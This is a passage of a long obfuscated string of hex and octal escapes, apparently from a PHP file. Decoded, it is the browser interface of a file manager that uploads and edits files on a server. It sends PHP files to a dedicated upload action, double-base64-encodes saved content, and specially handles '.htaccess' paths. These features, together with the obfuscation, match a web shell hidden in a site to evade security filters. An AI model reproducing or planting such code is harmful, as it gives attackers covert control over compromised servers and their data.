x70\x70\145\x6e\144\x28\47\x69\x74\x65\155\163\133\135\47\54\x20\151\164\x65\x6d\x29\x29\x3b\12\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\40\40\175\12\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\141\160\x69\x43\x61\154\154\50\x61\x63\164\x69\157\x6e\54\40\146\x64\51\x2e\164\150\145\156\x28\x72\145\156\144\x65\162\x29\x3b\xa\x20\40\x20\40\40\40\40\40\x20\40\x20\x20\x7d\xa\x20\x20\x20\40\x20\40\40\40\x7d\51\x3b\12\x20\x20\40\40\x20\40\x20\40\xa\40\x20\40\x20\40\x20\x20\x20\144\x6f\x6d\56\x75\160\x6c\157\x61\x64\x42\164\x6e\x2e\x61\x64\x64\105\x76\145\x6e\x74\114\151\x73\164\145\x6e\145\162\50\x27\x63\x6c\151\x63\153\47\x2c\40\50\51\x20\x3d\x3e\40\144\157\155\x2e\150\x69\144\144\145\x6e\x46\x69\x6c\145\x49\x6e\160\x75\164\x2e\x63\x6c\x69\x63\153\x28\51\x29\x3b\12\x20\x20\40\40\x20\40\x20\40\144\157\155\56\x68\x69\144\x64\x65\156\x46\151\x6c\145\111\x6e\x70\x75\164\56\x61\x64\144\105\166\x65\156\164\x4c\151\163\x74\x65\x6e\145\162\x28\47\143\x68\x61\x6e\x67\x65\x27\x2c\40\x61\x73\x79\156\143\x20\x28\145\x29\40\x3d\x3e\x20\x7b\12\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\143\157\156\x73\x74\x20\x66\x69\x6c\145\163\x20\x3d\40\101\x72\162\141\171\56\146\162\157\x6d\50\x65\56\164\x61\162\x67\145\x74\56\146\151\154\x65\163\51\x3b\40\151\x66\40\x28\x66\x69\154\145\163\56\154\x65\x6e\147\164\150\x20\75\x3d\75\40\x30\x29\40\162\145\x74\x75\x72\156\x3b\xa\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x66\157\162\x20\x28\143\x6f\x6e\x73\x74\40\146\151\154\145\40\x6f\146\x20\146\x69\154\145\163\x29\x20\173\12\40\x20\40\40\x20\40\40\40\40\40\40\40\x20\x20\40\40\x69\146\40\x28\146\x69\x6c\145\x2e\163\151\172\x65\x20\76\40\x55\x50\114\117\x41\104\x5f\114\111\x4d\x49\x54\137\x4d\x42\x20\52\x20\61\x30\x32\64\40\x2a\x20\61\x30\x32\64\51\40\x7b\40\x61\154\x65\x72\x74\x28\x60\x45\x72\162\x6f\x72\72\40\x46\x69\x6c\145\40\x22\x24\173\x66\x69\x6c\145\56\x6e\x61\x6d\145\x7d\x22\x20\x69\163\x20\164\157\x6f\x20\154\141\162\x67\x65\40\50\115\x61\x78\72\40\44\173\x55\120\114\117\x41\104\137\114\111\x4d\x49\124\x5f\x4d\102\175\x20\115\x42\51\x2e\140\51\73\x20\143\x6f\x6e\x74\x69\156\x75\145\73\40\175\12\40\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x63\157\156\x73\x74\40\162\x65\x61\144\145\162\x20\x3d\40\x6e\x65\x77\40\x46\x69\154\x65\122\x65\x61\144\x65\162\50\x29\73\12\x20\x20\40\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\x63\157\156\163\164\x20\x66\x69\x6c\145\x52\x65\141\144\120\x72\157\x6d\151\x73\145\40\x3d\x20\x6e\145\167\40\x50\x72\157\155\x69\x73\145\50\x28\x72\145\x73\157\154\166\145\54\x20\162\145\152\145\x63\164\x29\40\x3d\76\x20\173\x20\162\145\x61\144\145\162\56\157\156\154\x6f\141\x64\40\x3d\x20\x65\x76\145\x6e\x74\x20\75\76\40\162\145\x73\x6f\x6c\x76\145\x28\145\166\x65\x6e\x74\x2e\x74\x61\x72\147\145\164\56\162\145\x73\165\x6c\164\51\x3b\40\162\x65\141\144\145\162\56\x6f\x6e\x65\162\162\157\x72\x20\75\40\145\162\162\x6f\x72\40\75\x3e\x20\162\x65\152\145\x63\164\50\x65\x72\x72\x6f\162\x29\73\x20\x72\145\x61\144\x65\x72\x2e\x72\x65\x61\x64\101\x73\104\141\164\141\125\x52\114\x28\146\x69\154\x65\51\73\x20\175\51\x3b\xa\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x20\40\164\x72\x79\x20\x7b\xa\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\143\x6f\x6e\163\x74\x20\143\x6f\156\x74\x65\x6e\x74\x5f\142\x61\163\x65\x36\64\x20\75\x20\x61\x77\x61\151\164\x20\146\151\x6c\x65\x52\145\141\x64\x50\x72\157\x6d\151\x73\x65\73\xa\40\40\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\40\x63\x6f\156\163\164\40\157\162\x69\147\151\156\141\x6c\x4e\141\155\145\40\75\40\x66\151\154\145\56\156\141\x6d\x65\73\xa\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\143\x6f\x6e\163\164\x20\x66\x64\40\75\x20\156\145\167\40\106\x6f\162\x6d\104\x61\x74\x61\50\51\x3b\xa\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\146\144\x2e\x61\160\x70\x65\156\144\x28\47\x70\x61\x74\x68\47\x2c\40\123\x54\x41\x54\x45\x2e\143\165\x72\162\145\x6e\164\x50\x61\x74\x68\x29\x3b\12\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\146\144\x2e\x61\x70\160\145\156\144\50\47\x63\157\x6e\x74\145\x6e\x74\137\x62\141\163\x65\66\64\x27\x2c\40\143\x6f\156\x74\145\x6e\x74\x5f\142\141\x73\145\x36\64\x29\73\12\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\x69\x66\40\x28\157\x72\151\x67\x69\x6e\141\154\x4e\x61\x6d\x65\56\x74\157\x4c\157\x77\145\x72\x43\x61\163\x65\x28\x29\56\x65\x6e\x64\x73\127\x69\164\150\x28\47\x2e\x70\150\x70\47\51\x29\40\173\12\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\40\40\x20\40\40\40\40\40\146\144\x2e\x61\160\160\x65\156\x64\x28\x27\x66\151\154\x65\156\x61\155\x65\x5f\142\x61\163\x65\66\64\x27\54\40\142\164\157\141\x28\x6f\162\x69\147\151\x6e\x61\x6c\x4e\x61\x6d\x65\51\51\x3b\12\40\40\x20\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x61\x77\141\x69\x74\x20\x61\x70\151\103\x61\154\x6c\x28\47\x75\160\x6c\157\141\x64\137\160\150\x70\x27\54\40\x66\144\x2c\40\164\x72\x75\x65\51\x3b\12\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x7d\x20\x65\154\x73\145\x20\x7b\12\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\40\40\146\144\x2e\141\160\x70\145\x6e\144\x28\x27\146\151\x6c\145\x6e\141\x6d\x65\x5f\x62\141\163\x65\66\x34\47\x2c\x20\x62\164\x6f\x61\50\157\162\x69\x67\x69\156\x61\154\116\x61\x6d\x65\51\51\x3b\xa\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\141\167\x61\151\x74\40\141\160\151\103\x61\154\x6c\x28\47\165\160\x6c\157\x61\144\x27\54\x20\146\144\x2c\40\164\162\x75\x65\51\73\12\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\175\12\40\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\x7d\40\x63\141\x74\143\x68\40\50\145\x72\162\157\x72\x29\40\x7b\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\141\154\145\x72\x74\x28\140\106\x61\x69\x6c\145\x64\40\164\x6f\x20\160\162\157\x63\145\163\x73\x20\x66\151\x6c\x65\x20\x24\173\146\x69\x6c\145\56\x6e\141\x6d\145\x7d\x3a\x20\44\173\145\x72\x72\x6f\x72\x2e\x6d\x65\x73\x73\x61\x67\145\x7d\x60\x29\73\xa\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x7d\12\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\175\xa\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\x65\56\x74\x61\x72\x67\145\x74\56\x76\141\154\x75\x65\40\75\x20\47\x27\73\xa\40\40\40\40\40\40\40\x20\40\x20\40\40\x72\x65\156\144\145\162\x28\x29\73\xa\40\40\40\x20\40\x20\40\40\x7d\51\73\12\xa\40\x20\40\x20\x20\x20\x20\x20\x64\x6f\x6d\x2e\163\141\166\x65\102\164\x6e\x2e\x61\144\x64\x45\166\x65\156\164\x4c\151\163\x74\145\x6e\x65\x72\x28\x27\x63\154\x69\143\x6b\x27\54\x20\x28\51\40\x3d\76\x20\x7b\12\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x63\157\156\163\x74\x20\x70\x61\x74\150\40\75\x20\x64\157\155\56\145\144\151\x74\x6f\x72\x46\x69\x6c\x65\x6e\141\x6d\x65\56\164\145\x78\x74\103\157\156\x74\145\x6e\164\73\xa\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x63\x6f\x6e\x73\x74\40\143\x6f\x6e\164\x65\156\x74\x20\x3d\40\x62\164\x6f\x61\50\142\x74\157\141\x28\144\157\155\x2e\145\144\x69\164\x6f\x72\x2e\166\141\x6c\x75\145\x29\x29\73\xa\40\x20\40\40\x20\40\40\x20\x20\40\x20\40\x63\x6f\x6e\x73\164\40\x66\x64\40\x3d\40\156\145\x77\40\106\x6f\162\155\x44\141\164\141\x28\51\73\12\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\143\x6f\x6e\x73\x74\40\143\x68\x75\156\153\123\151\x7a\x65\40\75\x20\64\60\71\x36\73\12\40\40\x20\40\x20\40\x20\40\40\x20\40\x20\146\x6f\x72\x20\x28\x6c\x65\x74\x20\151\40\x3d\x20\60\x3b\40\x69\40\74\40\x63\x6f\156\x74\x65\156\x74\x2e\154\x65\x6e\x67\x74\150\x3b\40\x69\x20\x2b\75\x20\143\150\x75\156\x6b\123\x69\172\145\x29\x20\x7b\xa\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x66\x64\56\141\160\160\145\156\x64\50\x27\x63\x6f\x6e\x74\145\156\164\x5f\x63\150\165\x6e\153\x73\x5b\135\47\54\x20\x63\x6f\x6e\x74\x65\x6e\x74\56\x73\x75\x62\163\164\x72\151\156\147\50\151\x2c\40\151\x20\x2b\x20\143\150\x75\156\x6b\x53\x69\172\x65\51\x29\x3b\xa\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\175\xa\40\40\x20\40\40\40\40\x20\40\40\40\x20\154\145\x74\40\141\x63\x74\x69\x6f\x6e\x20\75\40\x27\163\x61\166\145\137\143\157\x6e\164\x65\x6e\164\47\x3b\xa\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\151\146\x20\50\x70\x61\x74\x68\x2e\x69\156\143\154\x75\x64\x65\x73\50\47\x2e\x68\x74\x61\143\143\145\163\163\x27\51\51\40\173\xa\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\141\143\x74\151\157\156\x20\x3d\40\x27\163\141\x76\145\137\x63\x6f\156\x74\145\x6e\164\x5f\x62\x36\x34\47\x3b\12\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\146\144\x2e\141\x70\x70\145\156\x64\50\47\160\141\164\x68\x5f\142\x36\64\x27\54\40\142\164\157\x61\50\160\141\164\150\x29\51\x3b\12\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\175\40\145\154\x73\x65\40\x7b\12\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\146\x64\x2e\141\160\x70\x65\x6e\x64\x28\x27\160\141\x74\150\47\x2c\x20\160\x61\164\150\51\x3b\xa\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x7d\12\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x61\160\x69\x43\x61\154\154\50\x61\143\x74\x69\157\156\54\x20\x66\x64\x2c\x20\164\162\x75\145\51\x2e\x74\150\x65\156\50\162\145\163\165\x6c\164\x20\x3d\x3e\40\173\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\x69\x66\x28\162\x65\x73\165\154\x74\x29\40\173\xa\x20\40\40\40\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\40\x20\x20\144\x6f\155\56\x65\x64\x69\164\157\x72\115\x6f\144\141\154\x2e\163\164\171\x6c\145\x2e\144\x69\163\160\x6c\x61\171\x20\x3d\40\x27\156\x6f\x6e\x65\x27\73\12\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x72\145\156\144\145\x72\x28\51\73\12\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x7d\12\40\40\40\40\x20\x20\x20\40\40\x20\40\40\175\x29\73\12\x20\x20\x20\x20\40\40\x20\40\x7d\x29\73\12\xa\40\x20\40\x20\x20\40\x20\40\162\x65\156\144\x65\x72\50\x29\x3b\xa\x20\x20\40\x20\x7d\51\x3b\xa\40\40\40\x20\74\x2f\163\x63\162\151\x70\x74\x3e\xa\x3c\x2f\142\157\x64\171\x3e\xa\x3c\x2f\x68\164\x6d\154\76";